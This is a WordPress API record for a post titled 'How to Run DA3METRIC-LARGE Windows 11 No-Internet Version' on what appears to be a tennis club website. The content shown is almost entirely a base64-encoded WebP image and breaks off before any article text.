{"id":7474,"date":"2026-07-15T13:59:32","date_gmt":"2026-07-15T11:59:32","guid":{"rendered":"https:\/\/tennisclubtrezzo.it\/?p=7474"},"modified":"2026-07-15T13:59:32","modified_gmt":"2026-07-15T11:59:32","slug":"how-to-run-da3metric-large-windows-11-no-internet-version","status":"publish","type":"post","link":"https:\/\/tennisclubtrezzo.it\/index.php\/how-to-run-da3metric-large-windows-11-no-internet-version\/","title":{"rendered":"How to Run DA3METRIC-LARGE Windows 11 No-Internet Version"},"content":{"rendered":"<p><img src=\"data:image\/webp;base64,UklGRq5pAABXRUJQVlA4IKJpAAAQhQGdASr6AT8BPjEYiUOiIaEkJnSK2IAGCWMHF+tr7kK1d4y+3Pcr7O\/Ifdb8h\/B+dfts7M\/Zj07+l\/\/P6xP+R62\/1\/7B\/7A\/s3\/jfhJ\/zv3V9+f7k+pv9pP2z93v\/l\/uV7uv7d\/sP2d\/1HyBf1H\/Pf\/b2yP\/P7H\/7hf\/f3DP6l\/wv\/\/7Pn\/b\/dD4Pf7N\/zP3T+BT9pf\/r\/z\/cA\/8\/qAf+LQk\/4Hh\/+RfTP5H8qf30+EXRv23\/6voX\/MPwz+a\/xX7j\/4X91Pnj\/h\/57zh\/Mf6D\/heop+T\/z\/\/Gf3v9uP8Z+3fuy8RHfv9n6E3tn9b\/0\/+F\/dX+4+or\/d+nv2f\/2vuB\/zP+rf7T+5\/vd\/gvo7\/t+Nj6P7An9G\/tn+6\/w37yf5z6aP7D\/q\/5X\/Sfs37s\/0f\/Lf8v\/Lf679pvsK\/mP9O\/1X95\/0H\/l\/y3\/\/\/+H3Vf+f3Nftd\/6fc1\/Wz\/rfn+ZrnDhXbumXqwhmgIah0cC0c75n8TBF+KRWVa+\/CGMIgXXAXDk7KM0ukHpIqDiI9z+3RoRDpnykgOyHkiK4\/YcFZhOtm1pItkolktQG\/e7fC3ODGgWdyrJjR1x2YaRtxtJbKAcpIQ359\/nqVjYdICPoxJYXBPKKZFO9d6RRjbYLZMXrbnuDl06PIiAjVeCaznpkNZk5Ar\/20pzsRdLd9n7Lps\/61gG7iGb\/9nwH+POnGls5MV4OaWK49+p9McJHY8K1hlXhB6ZCs94hikEYGwEapv7SbvEccOYdzKJG\/OxBrM2rKhu4MnDotuIJeG2lgowC\/SwaHJPjGJeVvNXcV1vzoqer5cwMPrgppTi\/YHRe1wZN3bMnGWI\/a3wKvYYeTPcx0eRFOFfAjOORGtfgbtOHpI6b9BTPkdyq65tDCJ\/uJkUJ1PIexjyEoh\/rN8UnZRgCT8vo23QkI\/sgXDh+kDvFIGpGtGuAvv9V698g2sR63S\/WI\/9X\/OLYTJk77l4ZOhk0ZPUzSKPE0Vi\/pTPk4ha545RUVeBKVYfxANy4wFsSqfPKaY5Rk9lQ\/iAI0pN9ZIIpkP+QXKPNDGhl4twDU6HlSBmuEp5\/t2Uc4vkuVqxLsBL\/0thDm5PsgkHfiAvYn5BPTYEK+Stq9hGmCLlHN6FvVidPvN2a7VaphDT\/t\/Pq2GFZ+P371SgffXvczN7CMqoKwfc2WS9mEGND7r2IA+3Z8UpUcKsFSLs20GJYGi5jdk8qM8Wngb24AjC2CaYn\/RfYJzmMOpoKjunpZ8lvJC574fafzoGNiEmO0ZVgiW3IvObuC6Dsc5H3YYBCA+muH2MIPTqeaZVSsfHEkXigSQSL4iKRG0ZkiM4tGOYsIaC4sNGOkIJWy\/PncW8fYedr+8KQOhFzsIbn95\/cTkuu6tQZ8Wm403X8ciKrfx6n7cfsC6sKQwfe23GEusw1+ZAzF2Wvunf9Q1m+gBHczqBCpY4a182w1oX4o5ao2sqgeTWJr1yTa+UI6Dj7rmCpyp2t2B3tkHKUsyB5z7pvLGGk+Xyclhi\/IzHtLevZPOxmEbsG7xRAmkeelD3iupMio9GevFfWc\/jKegG+JQ+5fZkVvkUG5iq9RlxYj943Zc+Q+fFGiKzwL\/Q7SQWj08cLDmbcIWgpeFD0DWAOeZZ\/Tw+ivUDrlz6RXbaX4XKzSVIY9jftV2xOEeiNiIFynIVnK6xqnRHE4TlCrC58V\/gjHYLgn\/jjiWn9lmsC8FUReGpipQ2FicSTpUCd25owd5NxueciFEB1uOu65vFEZOl+g7vErintIdqH9S2vzVNLZkb8Iu+9hpZXiXaG4MuFa5ORs13r3RIkgbCqw\/JZuVrt0Z3ZWDE72BKEirzManAaBs4nAf+9Fpr5NgnNB+LV\/bdE8bhvboKL+nFN3xIW6SVa9GaUHDnSvzbSsdXv68YHJn9e+MnCg\/3z5Dv8t\/IrDQQHMf3eNQU9Eciz6+N4dUhiM1aVv9NaIxrFVpJMr8G5hQ01f4hJlie1ZAQ+5uTuNbc5\/jQxLgVEjpiebdFDomp+XsZOkCgxnWUDCjpIE3w2\/k0T74JuiV3hdr4EUO1DHJp2bDaa4QEV0Zmkl88oLqyxtxU\/uMiuJBwgUYIurTS1qCPRXQyiYo5fHH\/wkBarGVUCoiG0jZXYf\/xv+B62J7gJ5JPCPY7Pd\/Rw2upQAEqqFKEAWG+MxgHILk+Cl0j103geDmd256JI4BhacsCEcUj56vESzJlIMJCWrvQu1BL6+tN9zPc9PG5tkOkhMn0PPzqyvYLKVo\/Iq7YTH5beHf\/MoJV9R7MzJeHs+rg2AzR6tdszpv1v7TaRgXYjfTQ1c6o48u3iNvIK\/a5v9g3YQ8KPE4pD+AB6rLyq7RvmyeBIrEtTsCTEa6eynbe+gzrhFzgnRgsuuKpPrMpxsYktvmp5sSLVj4TsaeuCjVOxN5xbxISINmXtUNUX0tz3A2lK+KJl9deUXf9xsH9Lh4rr7ebirLxAD8GAA0EyvtfjlDT6Axp8gKS63vYROPdseJaTeQF3OLD8EmKofUM71NPvT6zCCrYzKLPje27EIueyyewX36nQsnYOIMWsWLA2XL6bouR4r9XP51fEY0Ct7\/vYiWgp93jJj4ft4uGPPa22mrZxrYM+wwbCQDyseQpfwxgoN5FP76+OKcBw+yEKdAqXDgZ3ivE\/BwutJDiRhVl6QuCiKDVeYx+x08QtVs+avvJr2jpZIXNcsUhSgXc6zesQP5MHnSVJcaac+7Zg+bTgTOo8zTo4VALmrZNV7I57LFKA7gKm1RF6OQJaN4IL\/\/pWX9+fDYj9ofSUPBKOV32dio3mz66oQVGwz5I3xDvuGQ8LZFgvo0mA40eRNT04nxq667fwR12JlVph3ywUWjD2oIbggPyuqr6Kz1tjaK6WST9aYJM+Qg+fikaTL1zAWkRNLkwhFxJzCmB\/4ZfGe5RDFJWbPN4g3b90FbWtyZ3YbWjckx6D61lJxLZkj8rrMprjwe6kvwlqq2OAKDm15Sy7jKm801N8kwGhc\/VYZW83ZJxM7J51\/x4wLPlB5O1nYqHMCLw5dNfqj5UsTheewEFv4ODoh8beBSlJn3P3t1eGNwzQR82sjsh5G8Gc9XTa0uyO9FBk3di3Hl2l3FfGp4HW2\/Yxr7lwGPB58Y\/HBnx8QEakCeHqu4jrUzi6aYdj0Gey3BEkiTx8fqwM9gVElH38\/PmPL7FjCrZplUzZ6QtiJDxb+7oE9srh3D0C\/nzzGrRFQP9kzOx9C1AN\/GtfLWOhbB1Msvsn9AN\/+nkiL7RnuUfhwPorw+3HuQJraxAT4\/e3iyrt48Gwg60coYsCFsZ1+WH4w34COKSXIJWo\/jPVxx5Y03xTen0COARph+BiDPQ6pr8Ga92Y4wGADF7SThQ9v0DVdZ1l+tRQP+A4GdGsy5Juiits1eloq\/oYrQUPc3jFGoEJ6ybTZSMD4rmUwjOsAWjNN3tWtNq8HJ+y4pMfRTfjmxz+TUT0IxSPLHI7ZqP\/iSJ3z+rCFM72v0kWUunBJLvo08JiJ0qRj\/SEFFQPubuSrlE5KOkK15tqFJVPTu7qtlMM6JDa4w8Ezx4vtxVQTrNvQQZ4TLe3qXOZCNnErZw8kcfo0PN+M3eIyejUodHRKUQ6zOJ3X\/9Xhedo5JgzCMcS7VoMbIePp94gnr1kLRSQSRxn4IvwnWX7b8tbiF\/BlQSQR5evuwY02BfRbpPbBQwwqocnLg2eYkAqMWNd7tu5akoiDaWuF61KNjpjktcIw0E3eQwfvVP0AtJFS4tA+ZsSou5uR5wcAf+8b9l+wvyqL8YjL6PL2HGaFHar0syFmaNUPjwKWlqIBFHsCXBJ+ZPIDWrVTYcxqXzYVvokKfqUumUtKKMV2ergvxYGz0q+0\/2S+hWZwJRPCd7xtchvqOd+qXuDwB9rc+eWn1keutjcvd0bvMDegvpN2433p2my0LI+cZGI3QPhzFefjy9NUxGgav5kzwAfiMzYRdR61L29KI1FgfLahRaDSOs6MYeP1SnhM626bh1wEO0uPlnEQ3xOvlaGDPdYVUFrUsMiZinSuqaxxSHYgIWoSd5LYB2xwXsGfpuaWWlOgussn9RAmA2R3XORWY8x+krDV0KR+g7zz7Mk1ckaVszkKTf\/I7vli+988pp+SDIklBi4kdkxd\/V\/JN44+EXTMxgWAAP778Advn\/+gWf8Qh\/4hD2Wv\/\/Luvfr8UufUJwPjMEKPdkTB1M0b9+CAT1NTlQlAvBgUaHWBuCAX2t7o4LFzNA\/v\/uTqsaeJaGwbl2lKOSB0iLCHKOP4m8Qpwx\/xMKFJDAKJnHjPiDOCRrDP3VZRO92UhdJqm0j7vh3mUG5wSOR6UDaPzxDPKD8hsEH5OiB0G8ssGVl\/GfePcyi7vUUqGonXrPfb1ukYMhaczp9XIDtS7i2BQbMnXlqb6sVBwk7Tk6Ms+MoN\/bFOWGpEnIFdq1476s5uGWuJv4Bf1\/AXUKywLA2tdESWGOVoC\/oFqtGxb1ZYV2FZ0PNLcF0usAxHQl6\/y7j0WDmuVB8L9Iw7zhbH+pQSoI0+XNhApZjBVKflgfWDAaosbUWE7r8AZX9o4uhBO3ZZpddZwLEBTO6FqbE6A6XkK67VxkYIMep1X1RRKmIqKmtjcocGLP7493I0+RzFpx7QNrs9dDW49SlH0UoxwCDvUatoIuDPExhBEVL9BBSySEbDmEjO3NSRFQ1Fp3lPKrtrEseescM9rpGEIRYKAeaz1Yg8oYNMi18XcrZmMQ0pExPWqMf3qXGmf+nCsCOAOJeRTj5z54K1y8NpRctsl6Emj+vJUuPgNkAN+WBLlzRduC9RMelLfMcYibfSwI2ahEim1dUGQdOS4AUNP7exH\/828SKJlpp8SOB\/Fp9kktgwfIAAAU2ACWrRAwPOwaOmYy8axNDZbH98lR2d4ME0QfOpcjLoKy+d4zalbL0k+\/AE0RfQ5g8X+IqjlHRoaZFCdyAIdl6A\/+cUCjInpoGeYHpxVLZ2WgeLEc0RQAeRji5uwd0GsjzLZmjtSRw2QDp47pSk6LciaEGGw1s4eDqYFY\/maUf\/r8aZlVesbYs+goYc7nQq6RWZllBQN5P8+KyeD5xGkZmGblotx+Yjrk1YDiblqKO0A0Tx6e4m1VaVpFrJJTEgR4lsv1ve4WGsP0+BIHTTQX0hyRaHolbTWGU6pIyxU5vWdnJY7pAeTLyyisubwzw8PQDAQwaoZA0ZOgyaDg9LGPiP2yNIrcODIoAU5WiHj0xEJnHwNz2KuiAOa+PQIpBIYgjcpytSN7WY\/EUTL8VnCdvFf48FYszFWkkK6CHcTfd0rZIE1K\/btWNTnEUI2NM42VQ9cTzBOv9+S2DRB1MXRN+IBf6xPxmgGofdE093aaU2Z4AvLx55ACSsg5KVpdL93H74aSShJTRX0saz7uiKrod6bk7aYQCFYtjmSdwoiO2qCpOJHEvmVdC2fj8mZxvdEvZ+74y+dQb4+LCkq7YeoPKz6rMXvmDrN7aDRTwPJcCfe\/zS7RPHU6503ftw71MqqtrZJvB9jZUa7CB\/SmYHcYPGSGo\/B9noHrfDTIQKW+taQAusLW6Z\/ABtp9v6KlsmuevhWI8iqISNycXjdRZ97FKHiTNySfWZjBEf0lsWWvF1DYGDQaQ5rqQCixVMrPA6SfoH7+3dMIwtpvY1qtjkEhPAYc4pdXgeXL5UNGs7o8OQfv99w8mmpTav1J6t3qV63VRGJdNP6i0X8n\/VV+aKW\/CxeuiQO1tKjrTXbDlMlyYb2gSgKeVhJm+\/nHjtX3ktcqjv3Rfigq8m+R0OA\/Rlt1Q7iKGYEX4vC7hkN1Su+pRv7pea6z7BhMs7fF9DH\/QtjrBgNuuab9Nd5kKCjleYjY6Y8lxpnmSIX+4YBmy6PfYQzgrpt6ssJrOElaYjywlA2bV19XxwhzOwsBI3uYC3l1V9uppRd\/IfSvXJKbzOnGTJTevjY6fI\/zIQ6spyyNwsNWlvcy\/TV3bO7fqCTUS8C6D1Bgg\/DPt3JoNUdyPpseedW1jsfb\/JodCYiOf\/13xAPNyVQma2B8eJyER5mg9umaB9pqy5lX93upuzdfr9GxIvX22xHduf\/9U27Tw11CjT1G9smBjRi4Wggzs55A7umsZqtpvV+Vl2GKPyOHySslPfKr1txKfMLe23bnCzFFwyY9l\/DtiRROvGiKjQT+Qjv68CKWd02L8ZtTtG\/NT2vLFc5yv0m3ApgB5qehC\/BJNnzkGinGCSlfLdBsFG\/LJq4zJrBAdy3GFR+uAXMGi6NYwHZVk6LAf8o2FjK0FyHkZk2th4uVuC1wJockwQ0fRt1qUdoYurkZedHUVeig+rAIqgApzw8u6YQJTvqplgQPfmszT1xfIQFyXoO84AsSXavgECWTdrlWo\/gIEUE20f1TN1qEDxtukIY7AKJN52Tz3DJH1IvkAdmkbkz\/Fq2sxNkqf6tE2APYZ438dXu+1mPDPPoJywp3J1CwyE\/0o7ay26fN+iB30nUtHqVYSKzCWmHYKikCoQ5NkKrLeU+8sGyuxhSyPIM9LQWwm2QLhAwwAIDQg7ZQqSixe1aZ0j6fT3+iHkKU6iQXj2gA5Jsn9RZY5NzbpG\/NuKXcBUxuS5RCMqpcDpQ0fzxU90NE6g0YrXSVPCO9KBPjDLcdRw8h0GncyVMq9bEQQd5tnLts+vni9oOdxtd15L52IKoeiry1OvD+2kGmS4IreJ681HPooL84vzZiPA\/8iiLdiJ98trWCLQ225j\/mF5VFsegSDMlWPS7mUJljiYxXjcaoSPBbVZ4n1gGsOS+a1jt0wcEalLpi6eEKKXyE5peYnrXIYhEBysQZ3Zm37DRxdB4QqDj9hgeP\/SXB31dbhAIiE3MS6UMpLDkrOm6MmmOrgWrh4Y3eVxE7xcaFN8PakYEtwfKTuBhMdnTcUl2On5oQ2+bOnXUeUJeYJ+8pGL\/pbJH8nxACr+swxBdWbtk1ijlU16d4x86jHAWiTWvC+StWE0R5\/ytlVDVAxS+DthzvTlZoh6E\/H1fWeUh5wnyARst0tJ59hm1duKandRFL3OA1FSG89GNriM0eHicfYUSVIbXbUDyRI03b52c\/wpu1EdRnpDpHDWy2QfzkGZ9dQniG2Mf\/Q55TVufr4dSQ0+qYE40ODQmmTBNFiKbinmXfYuXX9RtKaMvf7kwdE0pSxGC90vuihnC+8JlZPJpXAX8nlio1pbiP\/P0eXIong+kXbttvQ3SMgjIYgHqtzXdlq3Oy4TqJz\/J+GAkRCg3JY35lN\/piC2bBcjNOe1EVJw5xsV3Mem0NpduDtQy0zdlcksizSDysb\/PW62RGSzHLpSHl\/KSPgY34vzLZ\/PsApddzhTlRbVTXcJKWIqI6TGynxLtoiItdzeekDOrCCCt2KP\/h25easHdHYeHSVOd1CXXsg8fzw68d\/XOQ5wKcvXTXqgg9QIN1T9EkWKMd+TM2cfi\/cyPkp+ketziInojQbkf4uN+MnUr7+nP7QrWsB8WA4zdNz+tC\/aHEH02nV3hZgqb1npors46USe0wEYz0ugV9KA9VVXYgsjulsI5FtQhEtosQ76BZI\/hMZz2cctwS+nRnoiAJKRGZeraL2XPaL0s+wGq7QKJqzeuNyyXouXJCeYvv6LBH1pqX9fpI33NLdggIcoSi2mJdaIChrJa4+mRkXKH34z57x92AlgTcLhp9jv2AMtyfvQW\/9QxMuN+nXmYBHkBiLYsqqoKrd9\/kU01ee45\/RRohMzrF4T0ERzMXCfjBazNM\/mvHwq6qZvkpyNpilk\/WAvncEdr7WTActkJFZf\/OV1WoRG6xn5h8cghZHdVpfjqoDkJduc3UMR3mKAS9ZvttHfNlVEb\/OP6ta981SVhCVS8dNIl6C4Yj4Vvzlpa\/mwE1mFYSmSRNZNkLZw0Gm6qYvG9BkKs+gXbjv912N+XhZgAdcjOpmLmAxwOz5gGZzU42NPs\/HJOvo8O5knnzZwuHBiIGdF3M0Dm3FAk9+fdv1l6d9gR4OHEHqKkOQ2W7xTVvbGHLy4g1Nai12cXldpA7mr5ORjMaPmEImLSO81\/3a\/epIaCGG5UrfzLoTzdo\/fyBOYI3PIgz9Uu5rJwYADDZ4ImrtUDNVIEL\/L7AAcvrOLK\/cQFWfOnPPYMfdk7xNcFTvmEagc1yqJmyQj88sS4ijxBB5CVKfC\/P8T1pciJB4aNyNgvr\/sA\/KFMtN8eV7uWouAXLnaRapX1y4bfxQaYb8AC5045FjfqKPISMJS7RT2JOyHdE5l8pG4Jkw0cnwQU8MGpE1gYH0C3tA8KKNnBINsQ5SHz83owhdTiXBczh+icNdJdUxMevOkVioTO8n\/5tTEO\/uTyv8oJY+28pKrTlD\/d4xnNckgfvDuTcfYnd+7NpwUs6NfXHR0aGf2uzQcN9Heqf1Gu08JPk\/\/BA638H3o+18\/uzXXAZO2pYulEs6qLijlItfGsgCbb+jUe1ExX5cnGOHLoXJ8WRb6p7nK3F9RKqEQWaH+ijg8NMlG9bJ0tbnXgkjEeT2F+gcg4TsOGlUD55GmkVHTOTy5h6rBrL37iB0lElmpEIjVSyWZIBpYH1BIEWvcpXwuh31ddp5OjjJ\/L+2\/e1NvFxFn+2G\/hMyPzwh2L4iG8WCQYbvQ59cphfSKz8b8Z64hV22tk\/pJZblRroNIgs8wQ0n8XyI2b32s2uiVtLGV7OUgnv0d0xGopo+bl83aOS2zY+MSA8OtXynk4M2KLXqDet\/4jlP1cGd7uq85thBHurwQqfGD3YVAQHqL\/rEEsg70mWF04oLvhJjbyBtJAuW5dldEIDNXzVU2Bu3U4PuvwJB0o6Yblu8b9hpj1I3gRuATsXvja5a7q3dCJmsRPx85V4I+5vr+NB76HfeQfgL7V8YccsxML1sGslFYI2dZUfx\/FejsT40Si3UI98tAJQhOW8N5yZldJdDvUSpTMiat\/ezbPwbanpJjir5oRHsyOm4Glmg9waVvldcVQRf9g+WD7MFMIOk\/cOr55I4zkhUariicFeeW6C4vUf+jh1fkZU4nxLPA+qLdG8TMss0nGnMCtjidVW1ASmBz7MjlDkI3S0vYKKW9HnpSxfJLEApeeQGBm+qu2myaUeI\/PITtaqow+JLRJIQ17g5LDEhOYOENp6XSa160PJ3o\/vgbSbhC\/4hNzeihmQ0fmx\/WHzcpH9ImwFM14U1BIm58qaCq0iewM6fz4MnCC084OSY04pCV+kEBBtOamNKF\/dt4SAiwmZXJuiuq9Zi1DMfR1V2t3X91GiHe9AShBOwOHOe2++ISJi7BuLxqO2SdeB0qfWkHhSGkp9uTiYBGiT9Mf\/tFzYGkWM1FNhRA4OHEgrAmFqhD+hLK5dyaSDD9sPXRVhzk\/h7t241vOh9tPb6LF17\/sLkm\/ATYrHoZAprQWGbRdb4bonXU3VPrwTclIm4ED6TAnGFTS5E71x8Y0ayKNI7e05j5qo8A3XNtR+zzS1Rszm41k+AyOUg\/\/Qr9QlVqjvuo6nzp\/GAYEN0ZfVSWZ6aj4Hu6WlEUqx4OfGUQYtwFDux8JCWWgqkN3T2fXJPx0GLWBO+n7I\/olh6+UkYFEce4s7KLagXZ8Bd7SG\/Ofyac9irwAyX2Yygsl\/rJmH\/B3F+FekQBRdQ0K\/XfdfhbQDfHT9o+XTnLD6VWalj80Psm0AVJJPTBd0NpiMqoS9CLHogXVBpjEq8NtXEjmMsOOcrvnAr9qKcKky4HCT84n0PX3+njM43sBSeA18VP6rx8ESpJKNWAxHYfnEk0yXtAhzPs0IMQeUzyxxoLBj9VIDJJlqKCyys73YegoCKAhoLkKyf8mxcwz0SPGT5Wg0rjJ6ZYf9FcM6yZxIaAHKQcWo2gv4F4dOl2CQEFAoIBS0DSYyoTMAMwZdnRWCXL57XWeiiy783O5Jrl7KAz3Q4kJNjkDE7kX2WX7I6cdFrwlCNKJrk34GGTJ0ReJk5j5kPYSVDxe3IYAAB6fZVRJ5zxanoDPA3vBzouD4EEv6IPR33I\/TUNiSjv+b9Ua9af7w14vgbDC5gDHS1Jf7I14A+a3cesUvfStWzcc78ZouQeVWJN1on72oEeJdTwX9xIi1ZraAgCrPntxnC64yje\/8mhA9AZs80iFPrv8VTXt8hhfmMb15cXgw9lUhR6EIrqbsJAQVgn4HoIh9O7Pgp3LQH+phTgZirX8jtoHrmOGonNfOX+ySAuzSFAVLHyn2AZCoej2oLYGawI3++CfzV+wJn5OtowekQwcibrzztf3SeLOS0XbstHeJu9+DZW\/CvZ5\/QSPx754q9GPOp6C2UJo2G6vye4Yt9bpqiFkBV6OImO7zWxsdxoLo8lij6pwqd\/nfBnmbKYQVa9Ejd3S8upLRLeMNYfmRzrMzNuIuhbUhuqzDTyklefV5oI7bl32ff5CCU8RjePg+8nb0iKm+pK7LwMsljvgs6VGBu20v1B35u87jo3S\/vTSG6\/BOvWpHVubUkSjY0nIah243IK1AMp\/pIsbc1xczvqTtJdT\/hyRTi8KOlyS5RD\/QWNsTidul4Cdg6aoAX3ge+omp2H9hbu8dnObKRB8hbKGUzcgn0rmpgbAu9foL9kszMGUV74wHlJCtPy4DyjdDqCQSUCk2F\/P3wOvyFnvaFJxeZdh0hf66s5+4ZOLNLuVsCdszHriCQpqP+6ndbWux5ANGbOSDt9PxUjFfs7ZlsEjw1HYOpLBdb4bYJvn1vr7Y2q3WBuLu7glwELUFsDUTUdKMMgOr\/hy5KKEG5oKE8xoMaoMWbOZCltPosDNFD6i81W+hMf\/dyYbuBGMkvIV2qu1Py\/9vAm3AQW5fFDSufniWiZBGGuI2t3fxhLn\/x1dGOuBOU9ij1BQTIDaJ9hHW\/J1FK4LyTrrNG4CBdquWmGCtMUtzsUxau8mLhJG7FU\/jA+EM1MTTvz+AXqYDbznxJ3d84fLhImhWN49krDzP+cJtdEKH0HXtWQlGdtwSAUPTK+QSN0LEbIQPr9PBowgIZ+VAGTgo8pZbN2bp4vO1tgr\/mXt3kEodZZyhPLcyFlBWTQmXNrshcSbLNOtaIAi+niKqcoho1XJck6krTyFbmHyRsvXWkk3eH1Rti6dRyOhCaRPqbEyp3NfovxtxZWV7N7e50hNhR9BODTbG7Ft963DJLc2dcPbgE4elTeyzPTXXWnRzhficklE+ja2vNc2wRwIK2RLTQyEO6C2dwXtJFnAEbpv3EsyhXEMyHPJMnojmbVhWlKRptb5iCO2k3VGXoALhjt2HnsImvh289HWdUSxDx7h\/oIFZF5NGsZfN5OYTQaX8kjylmjDHgMmF4gMmoccqRpVVZ1au2mHtADNMpV7yJ2wpqgbnlwsjlE8vmW22TcMVPNZ48d8DWiAAUaAX81hLMgcmnxm9NafhzeqK5dRfw5TMOC\/AkcocefmfaylTzKmYndk0ayepwnBY8LpAb4FkxJ03Xu67TaZJ9iY349jbr8s4EoRJM2PWNOwI9B\/Q5dX8TTp0+Lbw2iJMuhXquE2Tsuc9DfsfO\/XVKRTh1RkUA1MPe5rnah4t8nXBplzrrWdwvbz9+rdwT2wQZNFFK7BVOHjtueaS7gvni2v\/18Ja6BTivZe3+mAnWJIzZ8hjBRt9AT0qJCiNA4gjtqM7m3IzScdEFBlS6Vnv80E+5KjwlaA5ZjBO7YURUCcN1epG3BJJLe+hVaHDnUTSNXX4ReCwYgBr7Qsq4SJMql8xBEI4dNqBcP21PxxQzhSaZS9KKUiVZSazfMelIUuAKLv7eiuaRirUO5yNwJEa4wM7PiYbObnzh0zNlsny8GtcNEfYZ7B3TbKwvZH0QU0n21pszt0ty2P0GLJzwTNqrS7NZBvhiYp7zjkCG1CUy6NLfu7F4kcDBBZAWrzecCnh4e8AiyNCCEIDrEPduv0hEMNHkjCW0P\/UNNlIb7SOYHQGkVwWn4fHf6EprtdmgHcbrXVsvSTagUK39SAlh0COL3h6vr1vToLTeV344VoIMPrTi37wLwif+fW07WML9+LE+nlA\/G9GopYM8mkUXen6STpsK1D2ui\/P6opI5vPf0DgV4g+g13OteKllsbdVkAdYKlnAPZ9MUP5aKwHOyO1phQvQPDXoTdvLqYu3KGRIf5d\/CCo9rpaq5foLfX\/09rusy8NVgZltDhuTf1Qi5eOKC4P8WT99ze+qZWsQpULSg60daXqtX3\/9kGbrS7Yr2sBVDMRDDlpAM1fCfNpy9ysXq1Y5s6zUj5o4q\/ZU1i1sVnr+JwZqBndWgT7+pyr30qWf\/OEQIe0JAQ3A+dUG4ofGXER4H7\/99zVPwtOLJV4h2tXg3ugPitZrp4VxZRRRj9+Z5NhVLaPmAoRK7X4R67HiSyojzEap5BS+KK5xeTL0cI+QHPqfJpMkWId1r+PCGJqKCt69lX7umPWeXMWiOjAZnmCsPdg7Synxtret\/aGWa4Se8mqBWBdms300ysFLiCqSHmTizrWU5clu5JdFdVjN3+2EvCpDT3QpYVucFbRuhgvP0v5FeWeDD5nxt\/vewzfxcNlnkhPl8UWfoojNQGzbk1xFBC72LlWGLLZXsJPWkJ\/R9Mgv85+tf1ftLydf15BjttlPiW8VKXu+XLKumAHyCcRsHnVCQBANKGpfSA0bF46YnEZG0hl7ts4RfamGJ1scSNFXi77+5uv8oF\/DqekX4vwz7QIXMgbPyokHJ7vxdNTeo1n7v8oF14+FGUt+acFsxyQeBtWP\/GfsJJ5Av+Katr3a1kSHhU2XnMFksS+Y7SqXVPCyMx7SaqPce\/5b108lKpSSuUjUhgGmy6kwcf6oNKjIF6xHFX0OOBLp3aSEFOjmz2\/4glkKQM+g6+0GbaCEX4D6au+waCVLSU5TejMD8r2sQy3bNsRGna3jSFt69kdaEF9676Ugfa0vn1vlz4LLWHWgADz3AYKue3ZtEyXwjagEVzKKp7BguQsvYCW5WDAxX7eBxmlMK2nzglCjT6q21B1GhzZXbDBJT5FGa88goHWKzySzW8Lw36oHMGd876lSKfCbXfcf6MUTczZ2Zb1nHEBiIhVxovA5pnyh4EqTREIcDX0TZr\/BXU2ehOBM0Kc6jvAy\/dX5K\/m\/8HcILgTsUldP\/yUQ\/1mmxig1U8909g4fWCckLrs6AI4i9XsJdLeA44NfDiYvn+TF4zwW8nbhOhMl4TLLsNSZ+H6ZMLlnC2Mn\/A\/QLKOZVGumKkg5B++tnwyPoI6YJatBMYAvJkXXNAeyNHUQnPWrwvTvgXJWFzFj2g\/VlWsm61XTLOp6usKfyGw5syc+4EDQXuvSlt2q3TC\/MVCzVHwXYKMrQQGqvHELz1wu83NImYvvTzXqb5rUJCDdlvrR2mjRqEErvh1UYen+8f06yItK9TCUoGCNe32XG1Io\/ZTdGGUxcaVngiZ4rCpyXDXjMLNzryzJ1Y5nLDfLykd+1OdQRCVHeIio+W6Ncg57xCbNBQOSOB8+iPHqyT5hgL4H2nA\/bBi1+zHbQrb2aj2fPY7HF\/EPCdwBXaTZVKIV\/SF+SFmdUWq9u1cg2g5CD0LR4cpFEA0m5aJ7\/9kQU8OyzkgpYf5NSjY6eYJ+p7OX0vtSelhXqebT9\/vAwyNWmEaIAYA2UNPhppOxHjSBAajZJLLv8tVeDqzQgCN0KGWasQkQmFF1JJHHvxOuU3518i\/IkNgzvWhx4PhbdxuGzL0h8n5UhrDCuzSa++FH+9mLPfG\/89j7wTs2Ii93aIe1oneAMBa9OC0DFi9MxWBhWlf5+2TKszm7rEbRjhyQFLy45P7SQegEVjhiKviLY7wpQ2s+MWtQ3D3zd\/9azPur9mt8asmXyvLqQUG5IHKPCHw62RKaOLRzFewM2MhBEiodEFHW9DM8JybO1I27rNi8A\/M6rhbxXIwdYC+\/t6rIxkBnMscU8093jqb2FCWpTYBJvNlLfdKJnRisuv8tbtIegGKhYc8P4aUlCZuzmtgVIaeegjA7I\/1zaaxc1KihQ6c++tDLAmBIMQSxNkqJhFbMbsXpWvxyv\/uYWT9ZDN5pRR3OjKQUJLdKI9le5Qk9pfyzB+NglQkWM8Xwh4R+Pb9YCtXaKUJyBZmYkBWv7oQAdygVQh9ebt6r8ZvPDfDulyc8oa8miNXMna1CnBxBAuaGKig2t6XV5sQVDDuqmGdaJ6j2cTm8b8lGvXKux\/dOV9skPPjJrcG8unLbRq5F3hB1vuMWjuw5AXzbc85k4zqgj5k4IrYnC2EBFSBOxxcmGcGF3sAyOzBJzP41xNpsqfZ6fEOa0NOEhXXOfa1Gt2gLe5+JNbKBf4lN4\/5uUHZLog9rmKnmKjoNQh4G2i3KwEW7A4phAd3sJpYlJvE+6bgrm55bOygyGxA8rADEPwUaLx0AmFvizRxl28zEL7FSJhHb7AIC4gPjEJBwPI1M\/u6dnwzQxWsSQvB\/tff5+YuwQfadGq\/tIEVRbEGauJOkC9vf8wSjwEgb2pHhQT51MVsj\/XXKjZbktsDO3fRsl6j2dq7Jks1knlxf6V+\/Sgt5nCytYBTgZpwT8e8QVTClih8IzMgN8iDhk4yAzn6cuHeo7fKom\/N+mI2lsZN2qvMMUC3XWDbqkUY2bzKNouA7YtPIKxGGydVua93\/M\/sks3TrR3x7A3sYEtY0wTCgs3a1E4PvRsiO+CwYXiCulHmteY2hqurpikUVS\/By5TPRggm0ButXJTvE2hgAI7c081IlawL0b2p\/\/hwrsEgomuu+btgYQdL+l6xx51vM8nA4b\/g2vw3JPOXEcuCxxJeVGlBfKhoMZ7NDdRlTi5EJXlC\/fN4KDo+jX4C3vKo03AEFSV6Yj6jmqGACIBImVIuYn7vO99v\/EykgMl0inNBNJWfoJuB\/RH+0H9fU8u8UZde85D21pbX4qILYsoyAEQaTvCGkOVnJ18z9nUKc6mCGVOAw\/LpU8KIkOzl8QGonuCMWE05n2KI6qOsGkdKwsd96jCvutCsn94AXPl6OSpu4+Y8jR7+QtFI5O+CAT0RAE2JXAlFXl2j34mhWp6XwPvklHVjq0cqnm2dTv42CzNFL7oDruOG7qLRDuAY0vX+ZpbOdJy3HcWjWV4U2\/UTVmU